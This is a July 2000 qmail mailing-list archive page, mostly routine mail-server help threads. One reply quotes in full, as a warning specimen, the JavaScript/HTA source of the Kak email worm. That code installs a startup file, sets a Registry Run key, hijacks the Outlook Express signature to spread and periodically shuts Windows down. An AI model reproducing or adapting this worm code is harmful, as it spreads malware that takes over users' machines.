 $RFC822.eml


Re: How do I stop this spam test from failing?

2000-07-19 Thread John R. Levine

I have been put on the RSS and ORBS list because this test keeps failing:

  MAIL FROM:spamtest@[199.175.103.1]

No, you haven't.

I wrote the original tester that MAPS uses, and I can assure you that
you only get listed if your system actually sends the spam back to MAPS.

-- 
John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869
[EMAIL PROTECTED], Village Trustee and Sewer Commissioner, http://iecc.com/johnl, 
Member, Provisional board, Coalition Against Unsolicited Commercial E-mail



from-adresse in bounce-mail

2000-07-19 Thread michael . renner

Moin,
all mails written or delivered to my server 
ruppert.terramenta.de are adress masqueraded,
that they have the form [EMAIL PROTECTED].
That works fine.
But when a mail bounce because the adress is
not existent (e.g. [EMAIL PROTECTED]) the
mailadresse from the mailer-daemon is still
[EMAIL PROTECTED]
  ^^^
The smarthost I use only transport mail
with adresses from terramenta.de, so the 
mail from [EMAIL PROTECTED]
bounce. So, what do I have to do to masquerade the
adresse from MAILER-DAEMON to [EMAIL PROTECTED],
as it works for 'normal' users?

Thanks
-- 
|Michael Renner  E-mail: [EMAIL PROTECTED]|
|D-72072 Tuebingen   Germany  |
mail -s "get pgp key" [EMAIL PROTECTED]  /dev/null
mail -s "get gpg key" [EMAIL PROTECTED]  /dev/null
|Don't drink as root!ESC:wq



Re: How to grab the envelope contents while filtering?

2000-07-19 Thread Bruce Guenter

On Wed, Jul 19, 2000 at 05:01:48PM -0400, [EMAIL PROTECTED] wrote:
 Yup, I use the mess822 stuff too, but I need envelope addresses, not header
 addresses.
 
 I see now that qmail-qfilter 1.3 sets QMAILRCPTS to the message recipients.
 I assume this is envelope recipients. If so, I'm halfway there. I just need
 to doctor up 1.3 a little bit to also pass a variable for envelope sender
 (and to drop empty messages). Can anyone confirm?

The same man page tells you that qmail-qfilter sets QMAILUSER and
QMAILHOST to the username and hostname portions of the envelope sender.
Dropping empty messages is something you can do in your filter.
-- 
Bruce Guenter [EMAIL PROTECTED]   http://em.ca/~bruceg/

 PGP signature


Re: How to grab the envelope contents while filtering?

2000-07-19 Thread Bruce Guenter

On Wed, Jul 19, 2000 at 05:35:50PM -0400, [EMAIL PROTECTED] wrote:
 This is fine. I think the qmail-inject might be overkill, but does no harm.
 With the -n, it merely prints the message (with some headers tidied up if
 need be), which is then pumped into qmail-queue. The recipients are coming
 from the envelope (the fd 1 magic that I'm trying to figure out), not from
 the header. Therefore, no extra or double recipients.

Which is exactly how qmail-qfilter is designed to be used.

 Your concern is my reality :(. When an administrator needs to resubmit a
 message that was stopped by the filter, we need to reconstruct the envelope
 as it was at the time that the message was stopped. Now, if I just inject
 the message, it's gonna go out to everybody in the header all over again.

If you need to "stop" a message rather than modifying it or bouncing it,
you will need to explicitly save the envelope.  It will not be part of
the RFC822 header.
-- 
Bruce Guenter [EMAIL PROTECTED]   http://em.ca/~bruceg/

 PGP signature


Re: from-adresse in bounce-mail

2000-07-19 Thread Aaron L. Meehan

Quoting [EMAIL PROTECTED] ([EMAIL PROTECTED]):

 all mails written or delivered to my server ruppert.terramenta.de
 are adress masqueraded, that they have the form
 [EMAIL PROTECTED].  That works fine.  But when a mail bounce
 because the adress is not existent (e.g. [EMAIL PROTECTED]) the
 mailadresse from the mailer-daemon is still
 [EMAIL PROTECTED]

See the man page for qmail-control.  You want to put terramenta.de into
control/bouncehost.

 The smarthost I use only transport mail with adresses from
 terramenta.de, so the mail from [EMAIL PROTECTED]
 bounce.

MAILER-DAEMON@ is what you see in the mail's From header, and has
nothing to do with the sender address, which for a bounce would be
NULL--maybe that is why your mail is being rejected, hmm?  I don't
know your particular situation, of course, but your smarthost should
be allowing relaying based on your IP address, and not what's in From
or the envelope sender, otherwise it's basically an open relay (and
spammers will find it, eventually).  You might point that out to the
machine's adminstrator, if my analysis of the situation is correct.

Aaron



Re: problem qmail

2000-07-19 Thread Noel Mistula

Hi Qmailers,

Someone is sending a KAK worm on this list.
There are only two possibilities why this happens.
  1. Intentional to ruin this list.
  2. The sender is a stupid idiot.

Please filter out those postings that uses HTML formating.
The disabled KAK worm specimen is found below.

Thanks

Noel Mistula

-Original Message-
From: Agus Hariadi [EMAIL PROTECTED]
To: [EMAIL PROTECTED] [EMAIL PROTECTED]
Date: Thursday, 20 July 2000 5:25
Subject: problem qmail


Hi,
I was found error when start qmail the message is

Jul 19 18:43:27 freebsd qmail: 964032207.134614 alert: cannot start: hath
the daemon spawn no fire?

what going on ?
help me

==KAK worm specimen 
Content-Type: text/html;
charset=so-8859-1"
Content-Transfer-Encoding: quoted-printable

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
HTMLHEAD
META content="text/html; charset=iso-8859-1" http-equiv=Content-Type
META content="MSHTML 5.00.2314.1000" name=GENERATOR
STYLE/STYLE
/HEAD
BODY bgColor=#ff
DIVFONT face=Arial size=2Hi,/FONT/DIV
DIVFONT face=Arial size=2I was found error when start qmail the message
is/FONT/DIV
DIVnbsp;/DIV
DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5"
OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr/OBJECT/DIV
DIVFONT face=Arial size=2Jul 19 18:43:27 freebsd qmail:
964032207.134614
alert: cannot start: hath the daemon spawn no fire? /FONT/DIV
DIVnbsp;/DIV
DIVFONT size=2FONT face=Arialwhat going on ?/FONT/FONT/DIV
DIVFONT size=2FONT face=Arialhelp me/FONT/FONT/DIV
DIVFONT size=2FONT face=Arial
SCRIPT!--
function sErr(){return
true;}window.onerror=sErr;scr.Reset();scr.doc="ZHTMLHEADTITLEDriver
Memory Error/"+"TITLEHTA:APPLICATION ID=\"hO\"
WINDOWSTATE=Minimize/"+"HEADBODY BGCOLOR= #CCobject id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'/"+"objectSCRIPTfun
ction sEr(){self.close();return true;}window.onerror=sEr;fs=new
ActiveXObject('Scripting.FileSystemObject');wd='C:Windows';fl=fs.Get
Folder(wd+'Applic~1Identities');sbf=fl.SubFolders;for(var mye=new
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new
String(idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1PRO
GRA~1DÉMARR~1kak.hta';ken=wd+'STARTM~1ProgramsStartUpkak
.hta';k2=wd+'System'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\
\\\AE.KAK';aeb='C:Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if
(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAs
TextStream(8);pth=(kk==kfr)?wd+'MENUD~1PROGRA~1DMARR~1kak.hta'
:ken;t1.WriteLine('@echo off'+pth);t1.WriteLine('del
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2)
.Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.Wr
iteBlankLines(2);ky='[HKEY_CURRENT_USERIdentities'+idn+'Software
MicrosoftOutlook
Express5.0';sg='signatures';t2.WriteLine(ky+sg+']');t2.Write('\"Def
ault
Signature\"=\"\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'000
0]');t2.WriteLine('\"name\"=\"Signature
#1\"');t2.WriteLine('\"type\"=dword:0002');t2.WriteLine('\"text\"=\"\"')
;t2.Write('\"file\"=\"C:WINDOWSkak.htm\"');t2.WriteBlankLine
s(2);t2.WriteLine(ky+']');t2.Write('\"Signature
Flags\"=dword:0003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MA
CHINESOFTWAREMicrosoftWindowsCurrentVersionRun]');t2.Wri
te('\"cAg0u\"=\"C:WINDOWSSYSTEM'+fic+'.hta\"');t2.Wr
iteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s
'+wd+'kak.reg');t3=fs.CreateTextFile(wd+'kak.htm',1);t3.Write('HTMLBODY
DIV style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"OBJECT
classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr/"+"OBJECT/"+"DIV');t4=fs.OpenTextFile(k2,1);while(t4.Read(1)!='Z
');t3.WriteLine('SCRIPT!--');t3.write('function sErr(){return
true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.clos
e();rd=//g;re=/\"/g;rf=/\\//g;rt=rs.replace(rd,'').replace(re,'
\"').replace(rf,'/"+"\"+\"');t3.WriteLine(rt+'\";la=(navigator.systemLa
nguage)?navigator.systemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"
C:windowsMenu
DémarrerProgrammesDémarragekak.hta\":\"C:win
dowsStart
MenuProgramsStartUpkak.hta\";agt=navigator.userAgen
t.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)(parseInt(navigator.appVers
ion)4))||(agt.indexOf(\"msie
.\")!=-1))scr.write();');t3.write('//  --/"+"'+'SCRIPT/"+"'+'OBJECT/"+
"'+'BODY/"+"'+'HTML');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs
.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 
d.getHours()17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE
user.exe,exitwindows');}self.close();/"+"SCRIPTS3 driver memory alloc
failed nbsp;

Virus incident

2000-07-19 Thread Salia Aouar

Panda Antivirus has found the following viruses in the message:
Sent by :   Noel Mistula
Address :   [EMAIL PROTECTED]
To :Agus Hariadi; [EMAIL PROTECTED]
Subject :   Re: problem qmail
Date :  20/07/2000  00:56:41

File :  Re: problem qmail
   Virus :  JS/Kak.Worm - Ignored

http://www.pandasoftware.com




Virus incident

2000-07-19 Thread [OFFICE3] Panda Antivirus for Exchange Server

Panda Antivirus has found the following viruses in the message:
Sent by :   Noel Mistula
Address :   [EMAIL PROTECTED]
To :Agus Hariadi; [EMAIL PROTECTED]
Subject :   Re: problem qmail
Date :  20/07/2000  01:04:02

File :  Re: problem qmail
   Virus :  JS/Kak.Worm - Ignored

http://www.pandasoftware.com




Re: problem qmail

2000-07-19 Thread Paul Farber

What?? a lose the ability to replicate worms??? hahahahahaha  

You could turn off scripting for your mail client. or crank up the
security settings.

Paul Farber
Farber Technology
[EMAIL PROTECTED]
Ph  570-628-5303
Fax 570-628-5545

On Wed, 19 Jul 2000, Ben Beuchler wrote:

 On Thu, Jul 20, 2000 at 08:53:35AM +1000, Noel Mistula wrote:
 
  Someone is sending a KAK worm on this list.
  There are only two possibilities why this happens.
1. Intentional to ruin this list.
2. The sender is a stupid idiot.
  
  Please filter out those postings that uses HTML formating.
  The disabled KAK worm specimen is found below.
 
 Or just use mutt/pine...  
 
 ;-)
 
 -- 
 Ben Beuchler [EMAIL PROTECTED]
 MAILER-DAEMON (612)-321-9290 x101
 Bitstream Underground   www.bitstream.net
 




RE: problem qmail

2000-07-19 Thread Ihnen, David

Or just use a managed virus e-mail scanning service.

This comment said with no endorsement of myCIO, Inc. sales.   ;P

David


-Original Message-
From: Ben Beuchler [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 4:09 PM
To: Noel Mistula
Cc: Agus Hariadi; [EMAIL PROTECTED]
Subject: Re: problem qmail


On Thu, Jul 20, 2000 at 08:53:35AM +1000, Noel Mistula wrote:

 Someone is sending a KAK worm on this list.
 There are only two possibilities why this happens.
   1. Intentional to ruin this list.
   2. The sender is a stupid idiot.
 
 Please filter out those postings that uses HTML formating.
 The disabled KAK worm specimen is found below.

Or just use mutt/pine...  

;-)

-- 
Ben Beuchler [EMAIL PROTECTED]
MAILER-DAEMON (612)-321-9290 x101
Bitstream Underground   www.bitstream.net



Amavis problems

2000-07-19 Thread Jeremy Fowler

I installed amavis-perl-7 to use with qmail (made a copy of qmail-queue and
called it qmail-queue-real and copied over the amavis script with the
qmail-queue and made sure the owner was qmailq, group was qmail, and mode
was 4711). However something is wrong with the Convert-UUlib module. Here is
the error I get in the smtpd logs:

tcpserver: pid 30435 from 192.168.100.52
tcpserver: ok 30435 red.westrope.com:192.168.100.2:25 :192.168.100.52::4413
Can't locate auto/Convert/UUlib/autosplit.ix in @INC (@INC contains:
/usr/lib/perl5/5.00503/i386-linux /usr/lib/perl5/5.00503
/usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005) at
/usr/lib/perl5/5.00503/AutoLoader.pm line 127.
at /usr/lib/perl5/site_perl/5.005/i386-linux/Convert/UUlib.pm line 7
Can't locate loadable object for module Convert::UUlib in @INC (@INC
contains: /usr/lib/perl5/5.00503/i386-linux /usr/lib/perl5/5.00503
/usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005) at
bin/qmail-queue line 34
BEGIN failed--compilation aborted at bin/qmail-queue line 34.
tcpserver: end 30435 status 0
tcpserver: status: 0/40
tcpserver: status: 1/40

I reran the make install for the Convert-UUlib here is the output:

cd uulib  make all
make[1]: Entering directory
`/home/jfowler/perl/modules/amavis/Convert-UUlib-0.11/uulib'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory
`/home/jfowler/perl/modules/amavis/Convert-UUlib-0.11/uulib'
Skipping
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/Convert/UUlib/UUlib.so
(unchanged)
Skipping
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/Convert/UUlib/UUlib.bs
(unchanged)
Files found in blib/arch -- Installing files in blib/lib into architecture
dependend library tree!
Skipping /usr/lib/perl5/site_perl/5.005/i386-linux/Convert/UUlib.pm
(unchanged)
Skipping
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/Convert/UUlib/autosplit.ix
(unchanged)
Skipping /usr/lib/perl5/man/man3/Convert::UUlib.3 (unchanged)
Writing
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/Convert/UUlib/.packlist
Appending installation info to
/usr/lib/perl5/5.00503/i386-linux/perllocal.pod

Any help?
(I'm not a perl guru as you may have guessed. It's probably a simple fix for
the @INC variable, any ideas on how I can fix this?)




Internet Mail 2000

2000-07-19 Thread D. J. Bernstein

Many of today's Internet mail problems would be eliminated by one basic
change to the Internet mail infrastructure. The idea is explained in
http://cr.yp.to/im2000.html.

You can subscribe to the im2000 mailing list by sending an empty message
to [EMAIL PROTECTED] I won't have time to implement this
in the next few months, but perhaps some people are interested in
discussing it anyway.

---Dan



Re: | preline procmail

2000-07-19 Thread Devinder



hi
Thanx for the quick response..
I was actually using a rpm distribution which came with SuSE. 
After i recompilled procmail everything is working out fine.. 
Bye
Regards,Devinder

  - Original Message - 
  From: 
  Dave 
  Sill 
  To: [EMAIL PROTECTED] 
  Sent: Thursday, July 20, 2000 1:04 
  AM
  Subject: Re: | preline procmail
  "Devinder" [EMAIL PROTECTED] 
  wrote:I have added | preline procmail in my ~user/.qmail 
  fileWhen the the new mail arrives procmail is spawned and the mail is 
  processedand sento the appropriate folderHowever everyone who 
  has logged into the machine get a warning..***ourserv 
  procmail[21174]: Couldn't rename bogus "/var/spool/mail/anand" 
  into"/var/spool/mail/BOGUS.Y5eB"***Now why is this 
  happening.. As i can make out this is a typical sendmailresponse to a 
  ln in /var/spool/mail/user.. How do i disable this .. We areusing 
  procmail v3.11pre7.No, this has nothing to do with sendmail. It's a 
  procmail thing. Ithink it has something to do with locking, but I'm 
  notsure. Personally, I don't believe in the "links in 
  /var/spool/mail"thing. Better to convince the mailer to look for the 
  mailbox where itreally lives.But if you really want to fix this 
  problem, contact a procmail expert.-Dave